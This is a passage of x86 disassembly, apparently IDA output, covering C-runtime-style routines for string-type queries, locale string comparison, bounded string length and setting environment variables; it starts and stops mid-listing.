		mov	[ebp+var_28], esp
		mov	[ebp+var_18], esp
		mov	ecx, [ebp+var_28]
		mov	[ebp+var_20], ecx
		mov	[ebp+var_4], 0FFFFFFFFh
		jmp	short loc_4308C4
; ---------------------------------------------------------------------------
		mov	eax, 1
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp+var_18]
		mov	[ebp+var_20], 0
		mov	[ebp+var_4], 0FFFFFFFFh


loc_4308C4:				; CODE XREF: sub_4307B0+FBj
		cmp	[ebp+var_20], 0
		jnz	short loc_4308CE
		xor	eax, eax
		jmp	short loc_430931
; ---------------------------------------------------------------------------


loc_4308CE:				; CODE XREF: sub_4307B0+118j
		mov	edx, [ebp+var_1C]
		push	edx
		mov	eax, [ebp+var_20]
		push	eax
		mov	ecx, [ebp+arg_4]
		push	ecx
		mov	edx, [ebp+arg_0]
		push	edx
		nop
		call	near ptr 26F0000h
		test	eax, eax
		jnz	short loc_4308EC
		xor	eax, eax
		jmp	short loc_430931
; ---------------------------------------------------------------------------


loc_4308EC:				; CODE XREF: sub_4307B0+136j
		cmp	[ebp+arg_C], 0
		jnz	short loc_43090D
		push	0
		push	0
		push	0FFFFFFFFh
		mov	eax, [ebp+var_20]
		push	eax
		push	1
		mov	ecx, [ebp+arg_10]
		push	ecx
		call	near ptr 2810000h
		nop
		mov	[ebp+var_24], eax
		jmp	short loc_43092A
; ---------------------------------------------------------------------------


loc_43090D:				; CODE XREF: sub_4307B0+140j
		mov	edx, [ebp+arg_C]
		push	edx
		mov	eax, [ebp+arg_8]
		push	eax
		push	0FFFFFFFFh
		mov	ecx, [ebp+var_20]
		push	ecx
		push	1
		mov	edx, [ebp+arg_10]
		push	edx
		nop
		call	near ptr 2810000h
		mov	[ebp+var_24], eax


loc_43092A:				; CODE XREF: sub_4307B0+15Bj
		mov	eax, [ebp+var_24]
		jmp	short loc_430931
; ---------------------------------------------------------------------------


loc_43092F:				; CODE XREF: sub_4307B0+9Dj
		xor	eax, eax


loc_430931:				; CODE XREF: sub_4307B0+6Dj
					; sub_4307B0+91j ...
		lea	esp, [ebp-34h]
		mov	ecx, [ebp+var_10]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_4307B0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_430950	proc near		; CODE XREF: sub_42F960+4Bp
					; sub_42F960+7Ep ...

var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_434EC0
		push	offset sub_426A54
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		add	esp, 0FFFFFFE8h
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_18], esp
		cmp	dword_4DB444, 0
		jnz	short loc_4309C2
		push	0
		push	0
		push	1
		push	0
		call	near ptr 2610000h
		nop
		test	eax, eax
		jz	short loc_43099D
		mov	dword_4DB444, 1
		jmp	short loc_4309C2
; ---------------------------------------------------------------------------


loc_43099D:				; CODE XREF: sub_430950+3Fj
		push	0
		push	0
		push	1
		push	0
		call	near ptr 26F0000h
		nop
		test	eax, eax
		jz	short loc_4309BB
		mov	dword_4DB444, 2
		jmp	short loc_4309C2
; ---------------------------------------------------------------------------


loc_4309BB:				; CODE XREF: sub_430950+5Dj
		xor	eax, eax
		jmp	loc_430AE1
; ---------------------------------------------------------------------------


loc_4309C2:				; CODE XREF: sub_430950+2Dj
					; sub_430950+4Bj ...
		cmp	dword_4DB444, 2
		jnz	short loc_4309E6
		mov	eax, [ebp+arg_C]
		push	eax
		mov	ecx, [ebp+arg_8]
		push	ecx
		mov	edx, [ebp+arg_4]
		push	edx
		mov	eax, [ebp+arg_0]
		push	eax
		call	near ptr 26F0000h
		nop
		jmp	loc_430AE1
; ---------------------------------------------------------------------------


loc_4309E6:				; CODE XREF: sub_430950+79j
		cmp	dword_4DB444, 1
		jnz	loc_430ADF
		cmp	[ebp+arg_10], 0
		jnz	short loc_430A02
		mov	ecx, dword_4DB1C8
		mov	[ebp+arg_10], ecx


loc_430A02:				; CODE XREF: sub_430950+A7j
		push	0
		push	0
		mov	edx, [ebp+arg_4]
		push	edx
		mov	eax, [ebp+arg_0]
		push	eax
		nop
		call	near ptr 2610000h
		mov	[ebp+var_1C], eax
		cmp	[ebp+var_1C], 0
		jnz	short loc_430A24
		xor	eax, eax
		jmp	loc_430AE1
; ---------------------------------------------------------------------------


loc_430A24:				; CODE XREF: sub_430950+CBj
		mov	[ebp+var_4], 0
		mov	eax, [ebp+var_1C]
		shl	eax, 1
		add	eax, 3
		and	al, 0FCh
		call	sub_417E20
		mov	[ebp+var_28], esp
		mov	[ebp+var_18], esp
		mov	ecx, [ebp+var_28]
		mov	[ebp+var_20], ecx
		mov	[ebp+var_4], 0FFFFFFFFh
		jmp	short loc_430A66
; ---------------------------------------------------------------------------
		mov	eax, 1
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp+var_18]
		mov	[ebp+var_20], 0
		mov	[ebp+var_4], 0FFFFFFFFh


loc_430A66:				; CODE XREF: sub_430950+FDj
		cmp	[ebp+var_20], 0
		jnz	short loc_430A70
		xor	eax, eax
		jmp	short loc_430AE1
; ---------------------------------------------------------------------------


loc_430A70:				; CODE XREF: sub_430950+11Aj
		mov	edx, [ebp+var_1C]
		push	edx
		mov	eax, [ebp+var_20]
		push	eax
		mov	ecx, [ebp+arg_4]
		push	ecx
		mov	edx, [ebp+arg_0]
		push	edx
		nop
		call	near ptr 2610000h
		test	eax, eax
		jnz	short loc_430A8E
		xor	eax, eax
		jmp	short loc_430AE1
; ---------------------------------------------------------------------------


loc_430A8E:				; CODE XREF: sub_430950+138j
		cmp	[ebp+arg_C], 0
		jnz	short loc_430AB6
		push	0
		push	0
		push	0
		push	0
		push	0FFFFFFFFh
		mov	eax, [ebp+var_20]
		push	eax
		push	220h
		mov	ecx, [ebp+arg_10]
		push	ecx
		call	near ptr 2710000h
		nop
		mov	[ebp+var_24], eax
		jmp	short loc_430ADA
; ---------------------------------------------------------------------------


loc_430AB6:				; CODE XREF: sub_430950+142j
		push	0
		push	0
		mov	edx, [ebp+arg_C]
		push	edx
		mov	eax, [ebp+arg_8]
		push	eax
		push	0FFFFFFFFh
		mov	ecx, [ebp+var_20]
		push	ecx
		push	220h
		mov	edx, [ebp+arg_10]
		push	edx
		nop
		call	near ptr 2710000h
		mov	[ebp+var_24], eax


loc_430ADA:				; CODE XREF: sub_430950+164j
		mov	eax, [ebp+var_24]
		jmp	short loc_430AE1
; ---------------------------------------------------------------------------


loc_430ADF:				; CODE XREF: sub_430950+9Dj
		xor	eax, eax


loc_430AE1:				; CODE XREF: sub_430950+6Dj
					; sub_430950+91j ...
		lea	esp, [ebp-34h]
		mov	ecx, [ebp+var_10]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_430950	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_430B00	proc near		; CODE XREF: sub_4301A0+2Dp

var_48		= dword	ptr -48h
var_44		= dword	ptr -44h
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_36		= byte ptr -36h
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_434F18
		push	offset sub_426A54
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		add	esp, 0FFFFFFC8h
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_18], esp
		cmp	dword_4DB448, 0
		jnz	short loc_430B86
		push	1
		push	offset dword_434260
		push	1
		push	offset dword_434260
		push	0
		push	0
		nop
		call	near ptr 2600000h
		test	eax, eax
		jz	short loc_430B57
		mov	dword_4DB448, 1
		jmp	short loc_430B86
; ---------------------------------------------------------------------------


loc_430B57:				; CODE XREF: sub_430B00+49j
		push	1
		push	offset dword_43425C
		push	1
		push	offset dword_43425C
		push	0
		push	0
		nop
		call	near ptr 2600794h
		test	eax, eax
		jz	short loc_430B7F
		mov	dword_4DB448, 2
		jmp	short loc_430B86
; ---------------------------------------------------------------------------


loc_430B7F:				; CODE XREF: sub_430B00+71j
		xor	eax, eax
		jmp	loc_430EE4
; ---------------------------------------------------------------------------


loc_430B86:				; CODE XREF: sub_430B00+2Dj
					; sub_430B00+55j ...
		cmp	[ebp+arg_C], 0
		jle	short loc_430B9F
		mov	eax, [ebp+arg_C]
		push	eax
		mov	ecx, [ebp+arg_8]
		push	ecx
		call	sub_430F00
		add	esp, 8
		mov	[ebp+arg_C], eax


loc_430B9F:				; CODE XREF: sub_430B00+8Aj
		cmp	[ebp+arg_14], 0
		jle	short loc_430BB8
		mov	edx, [ebp+arg_14]
		push	edx
		mov	eax, [ebp+arg_10]
		push	eax
		call	sub_430F00
		add	esp, 8
		mov	[ebp+arg_14], eax


loc_430BB8:				; CODE XREF: sub_430B00+A3j
		cmp	dword_4DB448, 2
		jnz	short loc_430BE4
		mov	ecx, [ebp+arg_14]
		push	ecx
		mov	edx, [ebp+arg_10]
		push	edx
		mov	eax, [ebp+arg_C]
		push	eax
		mov	ecx, [ebp+arg_8]
		push	ecx
		mov	edx, [ebp+arg_4]
		push	edx
		mov	eax, [ebp+arg_0]
		push	eax
		nop
		call	near ptr 2600794h
		jmp	loc_430EE4
; ---------------------------------------------------------------------------


loc_430BE4:				; CODE XREF: sub_430B00+BFj
		cmp	dword_4DB448, 1
		jnz	loc_430EE2
		cmp	[ebp+arg_18], 0
		jnz	short loc_430C00
		mov	ecx, dword_4DB1C8
		mov	[ebp+arg_18], ecx


loc_430C00:				; CODE XREF: sub_430B00+F5j
		cmp	[ebp+arg_C], 0
		jz	short loc_430C10
		cmp	[ebp+arg_14], 0
		jnz	loc_430D8C


loc_430C10:				; CODE XREF: sub_430B00+104j
		mov	edx, [ebp+arg_C]
		cmp	edx, [ebp+arg_14]
		jnz	short loc_430C22
		mov	eax, 2
		jmp	loc_430EE4
; ---------------------------------------------------------------------------


loc_430C22:				; CODE XREF: sub_430B00+116j
		cmp	[ebp+arg_14], 1
		jle	short loc_430C32
		mov	eax, 1
		jmp	loc_430EE4
; ---------------------------------------------------------------------------


loc_430C32:				; CODE XREF: sub_430B00+126j
		cmp	[ebp+arg_C], 1
		jle	short loc_430C42
		mov	eax, 3
		jmp	loc_430EE4
; ---------------------------------------------------------------------------


loc_430C42:				; CODE XREF: sub_430B00+136j
		lea	eax, [ebp+var_3C]
		push	eax
		mov	ecx, [ebp+arg_18]
		push	ecx
		nop
		call	near ptr 28B0000h
		test	eax, eax
		jnz	short loc_430C5B
		xor	eax, eax
		jmp	loc_430EE4
; ---------------------------------------------------------------------------


loc_430C5B:				; CODE XREF: sub_430B00+152j
					; sub_430B00+198j
		cmp	[ebp+arg_C], 0
		jnz	short loc_430C67
		cmp	[ebp+arg_14], 1
		jz	short loc_430C94


loc_430C67:				; CODE XREF: sub_430B00+15Fj
		cmp	[ebp+arg_C], 1
		jnz	short loc_430C73
		cmp	[ebp+arg_14], 0
		jz	short loc_430C94


loc_430C73:				; CODE XREF: sub_430B00+16Bj
		push	offset aCchcount10Cchc ; "cchCount1==0 && cchCount2==1 || cchCoun"...
		push	0
		push	0B6h
		push	offset dword_434ECC
		push	2
		call	sub_41AB10
		add	esp, 14h
		cmp	eax, 1
		jnz	short loc_430C94
		int	3		; Trap to Debugger


loc_430C94:				; CODE XREF: sub_430B00+165j
					; sub_430B00+171j ...
		xor	edx, edx
		test	edx, edx
		jnz	short loc_430C5B
		cmp	[ebp+arg_C], 0
		jle	short loc_430D13
		cmp	[ebp+var_3C], 2
		jnb	short loc_430CB0
		mov	eax, 3
		jmp	loc_430EE4
; ---------------------------------------------------------------------------


loc_430CB0:				; CODE XREF: sub_430B00+1A4j
		lea	eax, [ebp+var_36]
		mov	[ebp+var_40], eax
		jmp	short loc_430CC1
; ---------------------------------------------------------------------------


loc_430CB8:				; CODE XREF: sub_430B00:loc_430D07j
		mov	ecx, [ebp+var_40]
		add	ecx, 2
		mov	[ebp+var_40], ecx


loc_430CC1:				; CODE XREF: sub_430B00+1B6j
		mov	edx, [ebp+var_40]
		xor	eax, eax
		mov	al, [edx]
		test	eax, eax
		jz	short loc_430D09
		mov	ecx, [ebp+var_40]
		xor	edx, edx
		mov	dl, [ecx+1]
		test	edx, edx
		jz	short loc_430D09
		mov	eax, [ebp+arg_8]
		xor	ecx, ecx
		mov	cl, [eax]
		mov	edx, [ebp+var_40]
		xor	eax, eax
		mov	al, [edx]
		cmp	ecx, eax
		jl	short loc_430D07
		mov	ecx, [ebp+arg_8]
		xor	edx, edx
		mov	dl, [ecx]
		mov	eax, [ebp+var_40]
		xor	ecx, ecx
		mov	cl, [eax+1]
		cmp	edx, ecx
		jg	short loc_430D07
		mov	eax, 2
		jmp	loc_430EE4
; ---------------------------------------------------------------------------


loc_430D07:				; CODE XREF: sub_430B00+1E8j
					; sub_430B00+1FBj
		jmp	short loc_430CB8
; ---------------------------------------------------------------------------


loc_430D09:				; CODE XREF: sub_430B00+1CAj
					; sub_430B00+1D6j
		mov	eax, 3
		jmp	loc_430EE4
; ---------------------------------------------------------------------------


loc_430D13:				; CODE XREF: sub_430B00+19Ej
		cmp	[ebp+arg_14], 0
		jle	short loc_430D8C
		cmp	[ebp+var_3C], 2
		jnb	short loc_430D29
		mov	eax, 1
		jmp	loc_430EE4
; ---------------------------------------------------------------------------


loc_430D29:				; CODE XREF: sub_430B00+21Dj
		lea	edx, [ebp+var_36]
		mov	[ebp+var_40], edx
		jmp	short loc_430D3A
; ---------------------------------------------------------------------------


loc_430D31:				; CODE XREF: sub_430B00:loc_430D80j
		mov	eax, [ebp+var_40]
		add	eax, 2
		mov	[ebp+var_40], eax


loc_430D3A:				; CODE XREF: sub_430B00+22Fj
		mov	ecx, [ebp+var_40]
		xor	edx, edx
		mov	dl, [ecx]
		test	edx, edx
		jz	short loc_430D82
		mov	eax, [ebp+var_40]
		xor	ecx, ecx
		mov	cl, [eax+1]
		test	ecx, ecx
		jz	short loc_430D82
		mov	edx, [ebp+arg_10]
		xor	eax, eax
		mov	al, [edx]
		mov	ecx, [ebp+var_40]
		xor	edx, edx
		mov	dl, [ecx]
		cmp	eax, edx
		jl	short loc_430D80
		mov	eax, [ebp+arg_10]
		xor	ecx, ecx
		mov	cl, [eax]
		mov	edx, [ebp+var_40]
		xor	eax, eax
		mov	al, [edx+1]
		cmp	ecx, eax
		jg	short loc_430D80
		mov	eax, 2
		jmp	loc_430EE4
; ---------------------------------------------------------------------------


loc_430D80:				; CODE XREF: sub_430B00+261j
					; sub_430B00+274j
		jmp	short loc_430D31
; ---------------------------------------------------------------------------


loc_430D82:				; CODE XREF: sub_430B00+243j
					; sub_430B00+24Fj
		mov	eax, 1
		jmp	loc_430EE4
; ---------------------------------------------------------------------------


loc_430D8C:				; CODE XREF: sub_430B00+10Aj
					; sub_430B00+217j
		push	0
		push	0
		mov	ecx, [ebp+arg_C]
		push	ecx
		mov	edx, [ebp+arg_8]
		push	edx
		push	9
		mov	eax, [ebp+arg_18]
		push	eax
		nop
		call	near ptr 2810000h
		mov	[ebp+var_1C], eax
		cmp	[ebp+var_1C], 0
		jnz	short loc_430DB4
		xor	eax, eax
		jmp	loc_430EE4
; ---------------------------------------------------------------------------


loc_430DB4:				; CODE XREF: sub_430B00+2ABj
		mov	[ebp+var_4], 0
		mov	eax, [ebp+var_1C]
		shl	eax, 1
		add	eax, 3
		and	al, 0FCh
		call	sub_417E20
		mov	[ebp+var_44], esp
		mov	[ebp+var_18], esp
		mov	ecx, [ebp+var_44]
		mov	[ebp+var_24], ecx
		mov	[ebp+var_4], 0FFFFFFFFh
		jmp	short loc_430DF6
; ---------------------------------------------------------------------------
		mov	eax, 1
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp+var_18]
		mov	[ebp+var_24], 0
		mov	[ebp+var_4], 0FFFFFFFFh


loc_430DF6:				; CODE XREF: sub_430B00+2DDj
		cmp	[ebp+var_24], 0
		jnz	short loc_430E03
		xor	eax, eax
		jmp	loc_430EE4
; ---------------------------------------------------------------------------


loc_430E03:				; CODE XREF: sub_430B00+2FAj
		mov	edx, [ebp+var_1C]
		push	edx
		mov	eax, [ebp+var_24]
		push	eax
		mov	ecx, [ebp+arg_C]
		push	ecx
		mov	edx, [ebp+arg_8]
		push	edx
		push	1
		mov	eax, [ebp+arg_18]
		push	eax
		nop
		call	near ptr 2810000h
		test	eax, eax
		jnz	short loc_430E2A
		xor	eax, eax
		jmp	loc_430EE4
; ---------------------------------------------------------------------------


loc_430E2A:				; CODE XREF: sub_430B00+321j
		push	0
		push	0
		mov	ecx, [ebp+arg_14]
		push	ecx
		mov	edx, [ebp+arg_10]
		push	edx
		push	9
		mov	eax, [ebp+arg_18]
		push	eax
		call	near ptr 2810000h
		nop
		mov	[ebp+var_20], eax
		cmp	[ebp+var_20], 0
		jnz	short loc_430E52
		xor	eax, eax
		jmp	loc_430EE4
; ---------------------------------------------------------------------------


loc_430E52:				; CODE XREF: sub_430B00+349j
		mov	[ebp+var_4], 1
		mov	eax, [ebp+var_20]
		shl	eax, 1
		add	eax, 3
		and	al, 0FCh
		call	sub_417E20
		mov	[ebp+var_48], esp
		mov	[ebp+var_18], esp
		mov	ecx, [ebp+var_48]
		mov	[ebp+var_28], ecx
		mov	[ebp+var_4], 0FFFFFFFFh
		jmp	short loc_430E94
; ---------------------------------------------------------------------------
		mov	eax, 1
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp+var_18]
		mov	[ebp+var_28], 0
		mov	[ebp+var_4], 0FFFFFFFFh


loc_430E94:				; CODE XREF: sub_430B00+37Bj
		cmp	[ebp+var_28], 0
		jnz	short loc_430E9E
		xor	eax, eax
		jmp	short loc_430EE4
; ---------------------------------------------------------------------------


loc_430E9E:				; CODE XREF: sub_430B00+398j
		mov	edx, [ebp+var_20]
		push	edx
		mov	eax, [ebp+var_28]
		push	eax
		mov	ecx, [ebp+arg_14]
		push	ecx
		mov	edx, [ebp+arg_10]
		push	edx
		push	1
		mov	eax, [ebp+arg_18]
		push	eax
		nop
		call	near ptr 2810000h
		test	eax, eax
		jnz	short loc_430EC2
		xor	eax, eax
		jmp	short loc_430EE4
; ---------------------------------------------------------------------------


loc_430EC2:				; CODE XREF: sub_430B00+3BCj
		mov	ecx, [ebp+var_20]
		push	ecx
		mov	edx, [ebp+var_28]
		push	edx
		mov	eax, [ebp+var_1C]
		push	eax
		mov	ecx, [ebp+var_24]
		push	ecx
		mov	edx, [ebp+arg_4]
		push	edx
		mov	eax, [ebp+arg_0]
		push	eax
		nop
		call	near ptr 2600000h
		jmp	short loc_430EE4
; ---------------------------------------------------------------------------


loc_430EE2:				; CODE XREF: sub_430B00+EBj
		xor	eax, eax


loc_430EE4:				; CODE XREF: sub_430B00+81j
					; sub_430B00+DFj ...
		lea	esp, [ebp-54h]
		mov	ecx, [ebp+var_10]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_430B00	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_430F00	proc near		; CODE XREF: sub_430B00+94p
					; sub_430B00+ADp

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 8
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_8], eax
		mov	ecx, [ebp+arg_0]
		mov	[ebp+var_4], ecx


loc_430F12:				; CODE XREF: sub_430F00+35j
		mov	edx, [ebp+var_8]
		mov	eax, [ebp+var_8]
		sub	eax, 1
		mov	[ebp+var_8], eax
		test	edx, edx
		jz	short loc_430F37
		mov	ecx, [ebp+var_4]
		movsx	edx, byte ptr [ecx]
		test	edx, edx
		jz	short loc_430F37
		mov	eax, [ebp+var_4]
		add	eax, 1
		mov	[ebp+var_4], eax
		jmp	short loc_430F12
; ---------------------------------------------------------------------------


loc_430F37:				; CODE XREF: sub_430F00+20j
					; sub_430F00+2Aj
		mov	ecx, [ebp+var_4]
		movsx	edx, byte ptr [ecx]
		test	edx, edx
		jnz	short loc_430F49
		mov	eax, [ebp+var_4]
		sub	eax, [ebp+arg_0]
		jmp	short loc_430F4C
; ---------------------------------------------------------------------------


loc_430F49:				; CODE XREF: sub_430F00+3Fj
		mov	eax, [ebp+arg_4]


loc_430F4C:				; CODE XREF: sub_430F00+47j
		mov	esp, ebp
		pop	ebp
		retn
sub_430F00	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_430F50	proc near		; CODE XREF: sub_4301F0+92p

var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 18h
		push	esi
		cmp	[ebp+arg_0], 0
		jz	short loc_430F7C
		push	3Dh
		mov	eax, [ebp+arg_0]
		push	eax
		call	sub_4313A0
		add	esp, 8
		mov	[ebp+var_18], eax
		cmp	[ebp+var_18], 0
		jz	short loc_430F7C
		mov	ecx, [ebp+arg_0]
		cmp	ecx, [ebp+var_18]
		jnz	short loc_430F84


loc_430F7C:				; CODE XREF: sub_430F50+Bj
					; sub_430F50+22j
		or	eax, 0FFFFFFFFh
		jmp	loc_43122B
; ---------------------------------------------------------------------------


loc_430F84:				; CODE XREF: sub_430F50+2Aj
		mov	edx, [ebp+var_18]
		movsx	eax, byte ptr [edx+1]
		neg	eax
		sbb	eax, eax
		inc	eax
		mov	[ebp+var_14], eax
		mov	ecx, dword_4DB0CC
		cmp	ecx, dword_4DB0D0
		jnz	short loc_430FB5
		mov	edx, dword_4DB0CC
		push	edx
		call	sub_4312B0
		add	esp, 4
		mov	dword_4DB0CC, eax


loc_430FB5:				; CODE XREF: sub_430F50+4Fj
		cmp	dword_4DB0CC, 0
		jnz	loc_431075
		cmp	[ebp+arg_4], 0
		jz	short loc_430FE7
		cmp	dword_4DB0D4, 0
		jz	short loc_430FE7
		call	sub_4301F0
		test	eax, eax
		jz	short loc_430FE2
		or	eax, 0FFFFFFFFh
		jmp	loc_43122B
; ---------------------------------------------------------------------------


loc_430FE2:				; CODE XREF: sub_430F50+88j
		jmp	loc_431075
; ---------------------------------------------------------------------------


loc_430FE7:				; CODE XREF: sub_430F50+76j
					; sub_430F50+7Fj
		cmp	[ebp+var_14], 0
		jz	short loc_430FF4
		xor	eax, eax
		jmp	loc_43122B
; ---------------------------------------------------------------------------


loc_430FF4:				; CODE XREF: sub_430F50+9Bj
		cmp	dword_4DB0CC, 0
		jnz	short loc_431034
		push	87h
		push	offset dword_434F30
		push	2
		push	4
		call	sub_414DD0
		add	esp, 10h
		mov	dword_4DB0CC, eax
		cmp	dword_4DB0CC, 0
		jnz	short loc_431029
		or	eax, 0FFFFFFFFh
		jmp	loc_43122B
; ---------------------------------------------------------------------------


loc_431029:				; CODE XREF: sub_430F50+CFj
		mov	eax, dword_4DB0CC
		mov	dword ptr [eax], 0


loc_431034:				; CODE XREF: sub_430F50+ABj
		cmp	dword_4DB0D4, 0
		jnz	short loc_431075
		push	8Eh
		push	offset dword_434F30
		push	2
		push	4
		call	sub_414DD0
		add	esp, 10h
		mov	dword_4DB0D4, eax
		cmp	dword_4DB0D4, 0
		jnz	short loc_431069
		or	eax, 0FFFFFFFFh
		jmp	loc_43122B
; ---------------------------------------------------------------------------


loc_431069:				; CODE XREF: sub_430F50+10Fj
		mov	ecx, dword_4DB0D4
		mov	dword ptr [ecx], 0


loc_431075:				; CODE XREF: sub_430F50+6Cj
					; sub_430F50:loc_430FE2j ...
		mov	edx, dword_4DB0CC
		mov	[ebp+var_C], edx
		mov	eax, [ebp+var_18]
		sub	eax, [ebp+arg_0]
		push	eax
		mov	ecx, [ebp+arg_0]
		push	ecx
		call	sub_431230
		add	esp, 8
		mov	[ebp+var_8], eax
		cmp	[ebp+var_8], 0
		jl	loc_431131
		mov	edx, [ebp+var_C]
		cmp	dword ptr [edx], 0
		jz	loc_431131
		cmp	[ebp+var_14], 0
		jz	short loc_431123
		push	2
		mov	eax, [ebp+var_8]
		mov	ecx, [ebp+var_C]
		mov	edx, [ecx+eax*4]
		push	edx
		call	sub_415860
		add	esp, 8
		jmp	short loc_4310CF
; ---------------------------------------------------------------------------


loc_4310C6:				; CODE XREF: sub_430F50+19Ej
		mov	eax, [ebp+var_8]
		add	eax, 1
		mov	[ebp+var_8], eax


loc_4310CF:				; CODE XREF: sub_430F50+174j
		mov	ecx, [ebp+var_8]
		mov	edx, [ebp+var_C]
		cmp	dword ptr [edx+ecx*4], 0
		jz	short loc_4310F0
		mov	eax, [ebp+var_8]
		mov	ecx, [ebp+var_C]
		mov	edx, [ebp+var_8]
		mov	esi, [ebp+var_C]
		mov	edx, [esi+edx*4+4]
		mov	[ecx+eax*4], edx
		jmp	short loc_4310C6
; ---------------------------------------------------------------------------


loc_4310F0:				; CODE XREF: sub_430F50+189j
		push	0B9h
		push	offset dword_434F30
		push	2
		mov	eax, [ebp+var_8]
		shl	eax, 2
		push	eax
		mov	ecx, [ebp+var_C]
		push	ecx
		call	sub_415260
		add	esp, 14h
		mov	[ebp+var_C], eax
		cmp	[ebp+var_C], 0
		jz	short loc_431121
		mov	edx, [ebp+var_C]
		mov	dword_4DB0CC, edx


loc_431121:				; CODE XREF: sub_430F50+1C6j
		jmp	short loc_43112F
; ---------------------------------------------------------------------------


loc_431123:				; CODE XREF: sub_430F50+15Ej
		mov	eax, [ebp+var_8]
		mov	ecx, [ebp+var_C]
		mov	edx, [ebp+arg_0]
		mov	[ecx+eax*4], edx


loc_43112F:				; CODE XREF: sub_430F50:loc_431121j
		jmp	short loc_4311A4
; ---------------------------------------------------------------------------


loc_431131:				; CODE XREF: sub_430F50+148j
					; sub_430F50+154j
		cmp	[ebp+var_14], 0
		jnz	short loc_43119D
		cmp	[ebp+var_8], 0
		jge	short loc_431145
		mov	eax, [ebp+var_8]
		neg	eax
		mov	[ebp+var_8], eax


loc_431145:				; CODE XREF: sub_430F50+1EBj
		push	0CEh
		push	offset dword_434F30
		push	2
		mov	ecx, [ebp+var_8]
		lea	edx, ds:8[ecx*4]
		push	edx
		mov	eax, [ebp+var_C]
		push	eax
		call	sub_415260
		add	esp, 14h
		mov	[ebp+var_C], eax
		cmp	[ebp+var_C], 0
		jnz	short loc_431179
		or	eax, 0FFFFFFFFh
		jmp	loc_43122B
; ---------------------------------------------------------------------------


loc_431179:				; CODE XREF: sub_430F50+21Fj
		mov	ecx, [ebp+var_8]
		mov	edx, [ebp+var_C]
		mov	eax, [ebp+arg_0]
		mov	[edx+ecx*4], eax
		mov	ecx, [ebp+var_8]
		mov	edx, [ebp+var_C]
		mov	dword ptr [edx+ecx*4+4], 0
		mov	eax, [ebp+var_C]
		mov	dword_4DB0CC, eax
		jmp	short loc_4311A4
; ---------------------------------------------------------------------------


loc_43119D:				; CODE XREF: sub_430F50+1E5j
		xor	eax, eax
		jmp	loc_43122B
; ---------------------------------------------------------------------------


loc_4311A4:				; CODE XREF: sub_430F50:loc_43112Fj
					; sub_430F50+24Bj
		cmp	[ebp+arg_4], 0
		jz	short loc_431229
		push	0E5h
		push	offset dword_434F30
		push	2
		mov	ecx, [ebp+arg_0]
		push	ecx
		call	sub_414BE0
		add	esp, 4
		add	eax, 2
		push	eax
		call	sub_414DD0
		add	esp, 10h
		mov	[ebp+var_10], eax
		cmp	[ebp+var_10], 0
		jz	short loc_431229
		mov	edx, [ebp+arg_0]
		push	edx
		mov	eax, [ebp+var_10]
		push	eax
		call	sub_4184C0
		add	esp, 8
		mov	ecx, [ebp+var_18]
		sub	ecx, [ebp+arg_0]
		mov	edx, [ebp+var_10]
		add	edx, ecx
		mov	[ebp+var_4], edx
		mov	eax, [ebp+var_4]
		mov	byte ptr [eax],	0
		mov	ecx, [ebp+var_4]
		add	ecx, 1
		mov	[ebp+var_4], ecx
		mov	edx, [ebp+var_14]
		neg	edx
		sbb	edx, edx
		not	edx
		and	edx, [ebp+var_4]
		push	edx
		mov	eax, [ebp+var_10]
		push	eax
		nop
		call	near ptr 25F0000h
		push	2
		mov	ecx, [ebp+var_10]
		push	ecx
		call	sub_415860
		add	esp, 8


loc_431229:				; CODE XREF: sub_430F50+258j
					; sub_430F50+285j
		xor	eax, eax


loc_43122B:				; CODE XREF: sub_430F50+2Fj
					; sub_430F50+8Dj ...
		pop	esi
		mov	esp, ebp
		pop	ebp
		retn
sub_430F50	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_431230	proc near		; CODE XREF: sub_430F50+139p

var_4		= dword	ptr -4
